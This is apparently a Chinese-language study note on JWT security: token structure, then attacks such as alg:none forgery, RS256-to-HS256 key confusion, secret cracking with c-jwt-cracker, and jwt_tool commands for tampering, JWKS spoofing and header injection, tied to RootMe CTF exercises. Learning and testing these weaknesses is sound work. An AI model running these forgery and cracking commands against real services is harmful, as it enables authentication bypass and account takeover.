网站工具:https://jwt.io/
JWT(JSON Web Token)
目前最流行的跨域身份验证解决方案
分为三部分:头部、载荷、签名
头部包含签名的算法
原始数据:1
{ "alg": "HS256", "typ": "JWT"}
*alg表示用了HS256算法,typ表示这是JWT**
base64加密后1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
载荷用于服务器识别数据来自哪里
比如:
原始数据1
{ "sub": "1234567890", "name": "John Doe", "admin": true}
base64加密后
1
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTU4MjQ1OTg2MX0
签名用于验证数据是不是官方签发的
原始数据1
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
base64加密后
1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTU4MjQ1OTg2MX0.RnRWb0dWgfr3RofdU4tAJkgBcEG-fHRJdUv2MSbeIJU
利用面
1.敏感信息泄露
由于jwt仅仅使用了base64编码,解码后就可以查看到载荷内容,所以,如果服务器将jwt当作客户端session使用存在敏感信息泄露风险。
2.修改jwt头部编码算法为none
如果被篡改的数据包的头部的alg字段为none,有一些陈旧的JWT库就会跳过签名验证过程,导致越权等情况(比如篡改身份为admin)。
1 | import jwt |
注意:需要python2环境并且安装PyJWT库
1 | pip install PyJWT |
例题:RootMe的JSON Web Token (JWT) - Introduction
3.将RS256算法改为HS256(非对称密码算法=>对称密码算法)
HS256算法使用密钥为所有消息进行签名和验证。
而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。
如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。
由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。
这样的话,后端代码使用RSA公钥+HS256算法进行签名验证。
1 | import jwt |
例题:RootMe的JSON Web Token (JWT) - Public key
安装JWT
1 | pip install PyJWT==1.6.0 |
1 | import jwt |
4.爆破密钥
例题:RootMe的JSON Web Token (JWT) - Weak secret
使用c-jwt-cracker
1 | ./jwtcracker jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJyb2xlIjoiZ3Vlc3QifQ.MES6qzQ4rf5Z-1xT_keaY1MSisw_FgnSZ3n0OZOaZWA |
或者
1 | >>> import jwt |
集成工具
jwt_tool
项目地址:https://github.com/ticarpi/jwt_tool
jwt_tool.py是一个用于验证、伪造、扫描和篡改 JWT(JSON Web Tokens)的工具包。
模式选择
-X
eXploitsa
= alg:nones
= spoof JWKS (specify JWKS URL with -ju, or set in jwtconf.ini to automate this attack)k
= key confusion (specify public key with -pk)i
= inject inline JWKS
-S
Signinghs256/hs384/hs512
= HMAC-SHA signing (specify a secret with -k/-p)rs256/rs384/hs512
= RSA signing (specify an RSA private key with -pr)ec256/ec384/ec512
= Elliptic Curve signing (specify an EC private key with -pr)ps256/ps384/ps512
= PSS-RSA signing (specify an RSA private key with -pr)
-C
Check/Crack-M
Scanning Modespb
= playbook auditer
= fuzz existing claims to force errorsat
- All Tests!
-V
Verify signatures-I
Inject/Fuzz-T
Tamper (interactive) mode-Q
Query token ID
攻击
篡改jwt
1 | python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -T |
修改算法为None
1 | python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X a |
尝试破解/猜测密钥(HMAC 算法):
1 | $ python3 jwt_tool.py JWT_HERE -C -d dictionary.txt |
或者
1 | $ python3 jwt_tool.py JWT_HERE -C -p password_here |
尝试使用已知公钥对非对称密码(RS-、EC-、PS-)进行“密钥混淆”攻击:
1 | $ python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem |
尝试使用“无”算法创建未经验证的令牌:
1 | $ python3 jwt_tool.py JWT_HERE -X a |
欺骗远程 JWKS:使用首次运行时自动生成的 RSA 密钥并在提供的 URL (-ju) 处提供 JWKS - 或将 URL 添加到您的 jwtconf.ini 配置文件中 - 并使用私钥对令牌进行签名:
1 | $ python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/my_jwks.json |
将内联 JWKS 注入 JWT 标头:使用首次运行时自动生成的 RSA 密钥,将公钥导出为 JSON Web Key Store 对象,注入 JJWT 标头,并使用私钥对令牌进行签名:
1 | $ python3 jwt_tool.py JWT_HERE -X i |
签署令牌
使用已知密钥/密码签署令牌:
1 | $ python3 jwt_tool.py JWT_HERE -S ec512 -pk jwttool_custom_private_EC.pem |
更多用法:https://github.com/ticarpi/jwt_tool/wiki/Using-jwt_tool